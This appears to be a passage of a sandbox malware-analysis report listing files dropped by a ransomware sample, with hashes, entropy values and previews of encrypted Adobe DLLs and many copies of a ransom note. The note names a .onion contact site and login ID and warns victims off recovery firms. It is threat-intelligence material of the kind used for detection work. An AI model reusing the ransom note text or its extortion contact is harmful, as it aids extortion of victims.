SHA-512:	2594794DE77E2BAF00408A188523EE33C16385700AB14A9B34BC97D518D615127788B654FD9AA5DC60F802003558A44B4B09C4AB2552E18B0C7901D2466E8111
Malicious:	false
Preview:	..Zc......g....a.P.{^xL+..F6.;.D...F.S.{n<Qp!0.c.......\...&'..L.....G..V.....w.l:B@.5._.s..d.9.8.m.V.i,V2.$.s.....P..."`.@.(...r..t..F..@.$}...w.&.$..1.y.&.r.F.{Dll#Nd.1...N.....@...[.y...,...`....t...1>T...0........'2._..h..c....2....\|....].d. t..f..+..P.[.X.Zb.F2.>...%.j..Xh./....'...Ai....n.`.x..\p.R...k.o........R.A....V.f........5d..}.A..Wx.b5.Kd...;Z..K.8..L..7..c..1.r.Zc.\p._"L......6.!N.k.C...........!/].+.cJS.Fe..3..#.#uV...?d.........].6.0/5-..B9....9..%..i..gxBr.&1.VU....Y?>..........;..E.s...iJ...)h.&..,....D.6.xV..T`O.az.).-x...A\r.%.p.....?X...=..R...........L.~n#..............................................................................................29yp10v5m8k.

C:\Program Files\Adobe\Acrobat DC\Acrobat\rt3d.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2041106
Entropy (8bit):	7.17134877551625
Encrypted:	false
SSDEEP:	24576:VM7FLYBvdFO9Hfz0z8rGZblE8vQGbaHrM03db41uk/CUTTvE2syiROtFzuzWrHt2:bv6BzVGZ+vG+OPldFzuih2
MD5:	30E6B4AF1CBE17FEF666CF7C1FE91A0A
SHA1:	426BB20E549613E8B2E8D1AC26307ED1E92AC713
SHA-256:	482C7503F83D02BA5B52838DC2628B5E6EFB4799F1586C1D840F382664972230
SHA-512:	E881FADEA257707EACC04D206CF17B9B2D6EDA09AA18DD028F8F3E0ADFE130EAA08C23420A953E65FED4DA8FCFF4D2EBD6DBA918E26824E907B6A86B4AC9E5D9
Malicious:	false
Preview:	".B.b.d....T..T....r...D G...w.P.A..[.rz..]y.-.........>T.s........!..L.!This program cannot be run in DOS mode....$..........A....................\......\......\......\......^.......z@....VO}...t..5w...%....T..(e>s..t.I:.. ....!z.....1'..A..a^..[...^......^.i.............^......Rich............PE..d......d.........." .....$....k.....P...............................i..a.d..do......B...r..D0G...w.P.A..[.rj..]y.-..........U.s0#......@............................)......@M..h...T.......................(.......8............@..............................A....d............v..D G...w.P.a..;9....<y.....j...c/..}.s............@..@.data....ld..0......................@....pdata..............................@..@.rsrc...........................o..!.d.....e.........1.. G...w.P.A..[.rz..]y.-..........U.s................................................................................................................................o..a.d............r..D G...w.P.A..[

C:\Program Files\Adobe\Acrobat DC\Acrobat\rt3d.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2041106
Entropy (8bit):	7.17134877551625
Encrypted:	false
SSDEEP:	24576:VM7FLYBvdFO9Hfz0z8rGZblE8vQGbaHrM03db41uk/CUTTvE2syiROtFzuzWrHt2:bv6BzVGZ+vG+OPldFzuih2
MD5:	30E6B4AF1CBE17FEF666CF7C1FE91A0A
SHA1:	426BB20E549613E8B2E8D1AC26307ED1E92AC713
SHA-256:	482C7503F83D02BA5B52838DC2628B5E6EFB4799F1586C1D840F382664972230
SHA-512:	E881FADEA257707EACC04D206CF17B9B2D6EDA09AA18DD028F8F3E0ADFE130EAA08C23420A953E65FED4DA8FCFF4D2EBD6DBA918E26824E907B6A86B4AC9E5D9
Malicious:	false
Preview:	".B.b.d....T..T....r...D G...w.P.A..[.rz..]y.-.........>T.s........!..L.!This program cannot be run in DOS mode....$..........A....................\......\......\......\......^.......z@....VO}...t..5w...%....T..(e>s..t.I:.. ....!z.....1'..A..a^..[...^......^.i.............^......Rich............PE..d......d.........." .....$....k.....P...............................i..a.d..do......B...r..D0G...w.P.A..[.rj..]y.-..........U.s0#......@............................)......@M..h...T.......................(.......8............@..............................A....d............v..D G...w.P.a..;9....<y.....j...c/..}.s............@..@.data....ld..0......................@....pdata..............................@..@.rsrc...........................o..!.d.....e.........1.. G...w.P.A..[.rz..]y.-..........U.s................................................................................................................................o..a.d............r..D G...w.P.A..[

C:\Program Files\Adobe\Acrobat DC\Acrobat\sqlite.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	683786
Entropy (8bit):	7.283174411099531
Encrypted:	false
SSDEEP:	12288:7N+12eLUNltZhr0RCzng49EMtvjKkQrlr0:BslGTM8Rqu2l0
MD5:	56BD43AADADC36D38AD4B2A3C342B5B3
SHA1:	40A07224FF3DF409F04F1CD6E3586B469BBBF74A
SHA-256:	A6A9B4897597EBB6AA8D87EE17A1A9B1505C07A5A00720CAE3BB60CA91A3E407
SHA-512:	E8EBEBBB0064C7277D7FB68F191CAC5B0938E42B9F43FED29168F0F7399EE435A2ABDDBD2E78FB4127F0CFACF19C7978BC6F7BB97EE65566326DCEF1D9A601A6
Malicious:	false
Preview:	C..++....~........Z.,n.K.%?..R.r....w.............X.+...[........!..L.!This program cannot be run in DOS mode....$........65..W[..W[..W[../...W[.w#Z..W[.w#^..W[.w#_..W[.w#X..W[..<Z..W[.......CG.]...9.fz?...{5y~.3...\|.........?J..\"..d....UX.+...[PE..d...%..d.........." ................P...............................................7.....`A..................................B+8....0...g...D.Z.,n....%...R.x...wX..w...;......"....[.........................#..8............................................text............................... ..`.rdata..N........YB+(2...~..(n.....ZY,n.%..Q^..Pr.....w.............X.+.....pdata..\C... ...D..................@..@.rsrc........p.......4..............@..@.reloc...............:..............@..B..........B+(....~..(n.....Z.,n...%?..R.r....w.............X.+...[..................................................................................................................................B+(....~..(n.....Z.,n...%?..R.r....

C:\Program Files\Adobe\Acrobat DC\Acrobat\sqlite.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	683786
Entropy (8bit):	7.283174411099531
Encrypted:	false
SSDEEP:	12288:7N+12eLUNltZhr0RCzng49EMtvjKkQrlr0:BslGTM8Rqu2l0
MD5:	56BD43AADADC36D38AD4B2A3C342B5B3
SHA1:	40A07224FF3DF409F04F1CD6E3586B469BBBF74A
SHA-256:	A6A9B4897597EBB6AA8D87EE17A1A9B1505C07A5A00720CAE3BB60CA91A3E407
SHA-512:	E8EBEBBB0064C7277D7FB68F191CAC5B0938E42B9F43FED29168F0F7399EE435A2ABDDBD2E78FB4127F0CFACF19C7978BC6F7BB97EE65566326DCEF1D9A601A6
Malicious:	false
Preview:	C..++....~........Z.,n.K.%?..R.r....w.............X.+...[........!..L.!This program cannot be run in DOS mode....$........65..W[..W[..W[../...W[.w#Z..W[.w#^..W[.w#_..W[.w#X..W[..<Z..W[.......CG.]...9.fz?...{5y~.3...\|.........?J..\"..d....UX.+...[PE..d...%..d.........." ................P...............................................7.....`A..................................B+8....0...g...D.Z.,n....%...R.x...wX..w...;......"....[.........................#..8............................................text............................... ..`.rdata..N........YB+(2...~..(n.....ZY,n.%..Q^..Pr.....w.............X.+.....pdata..\C... ...D..................@..@.rsrc........p.......4..............@..@.reloc...............:..............@..B..........B+(....~..(n.....Z.,n...%?..R.r....w.............X.+...[..................................................................................................................................B+(....~..(n.....Z.,n...%?..R.r....

C:\Program Files\Adobe\Acrobat DC\Esl\Aiod.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	747794
Entropy (8bit):	7.166401307702406
Encrypted:	false
SSDEEP:	12288:iImuFCS/8vwogFD9bRjaNwY7ulQYi4QWtd/YAleO/IeI:kvwogFD9NOyY76Q34lLIWPI
MD5:	CCFF87C123B9F1C4BCFA16DE1F8AE4EA
SHA1:	E7131EA4145F30E4139DA1320F552C76287BDCF8
SHA-256:	08504092687802FB59D071229E131B456A9A7F1EF47CC7668174B7AD9CAAA3D0
SHA-512:	466258C75174DCF1B6509A82256E2CC4181706CCB69C8028973481A0B1C77C02CEB610DDA2A344DA0DBD9268EFAB82A36C0B7D6638445C0AAD97E7399D61831B
Malicious:	false
Preview:	.....B[......<.X..m..~...l.......<...9w........^.#_=...^.............!..L.!This program cannot be run in DOS mode....$........_...>nK.>nK.>nK.UmJ.>nK.UkJ.>nKOJjJ.>nKOJmJ.>nKOJkJ.>nK.UjJ.>nK....^\|5.</....R.v..&...V...D#..S.v,...t=..6...f+...aS.E.2R~...Rich.>nK........PE..d......d.........." .....h..........0.....................................................`A.....................B[....4.<....m..~.8.f....j..<...9...9.....T./=...U.1...............T........................... ...8............................................text...pg.......h.................. ..`.....#[.....4\|4..m..v.X.l.......<............0>^.#.7...^..;..............@....pdata...p.......r..................@..@_RDATA.......p.......,..............@..@.rsrc...............................B[....[.<.\..m.Hu.X.l........<...9w......^.#_=...^.........................................................................................................................................B[....4.<....m..~.X.l.......<...

C:\Program Files\Adobe\Acrobat DC\Esl\Aiod.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	747794
Entropy (8bit):	7.166401307702406
Encrypted:	false
SSDEEP:	12288:iImuFCS/8vwogFD9bRjaNwY7ulQYi4QWtd/YAleO/IeI:kvwogFD9NOyY76Q34lLIWPI
MD5:	CCFF87C123B9F1C4BCFA16DE1F8AE4EA
SHA1:	E7131EA4145F30E4139DA1320F552C76287BDCF8
SHA-256:	08504092687802FB59D071229E131B456A9A7F1EF47CC7668174B7AD9CAAA3D0
SHA-512:	466258C75174DCF1B6509A82256E2CC4181706CCB69C8028973481A0B1C77C02CEB610DDA2A344DA0DBD9268EFAB82A36C0B7D6638445C0AAD97E7399D61831B
Malicious:	false
Preview:	.....B[......<.X..m..~...l.......<...9w........^.#_=...^.............!..L.!This program cannot be run in DOS mode....$........_...>nK.>nK.>nK.UmJ.>nK.UkJ.>nKOJjJ.>nKOJmJ.>nKOJkJ.>nK.UjJ.>nK....^\|5.</....R.v..&...V...D#..S.v,...t=..6...f+...aS.E.2R~...Rich.>nK........PE..d......d.........." .....h..........0.....................................................`A.....................B[....4.<....m..~.8.f....j..<...9...9.....T./=...U.1...............T........................... ...8............................................text...pg.......h.................. ..`.....#[.....4\|4..m..v.X.l.......<............0>^.#.7...^..;..............@....pdata...p.......r..................@..@_RDATA.......p.......,..............@..@.rsrc...............................B[....[.<.\..m.Hu.X.l........<...9w......^.#_=...^.........................................................................................................................................B[....4.<....m..~.X.l.......<...

C:\Program Files\Adobe\Acrobat DC\Esl\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Adobe\Acrobat DC\Resource\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Adobe\Acrobat DC\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Adobe\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Common Files\Adobe\Acrobat\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Common Files\Adobe\HelpCfg\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Common Files\Adobe\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Common Files\Services\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Common Files\System\Ole DB\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Common Files\System\ado\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Common Files\System\en-GB\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Common Files\System\en-US\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Common Files\System\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
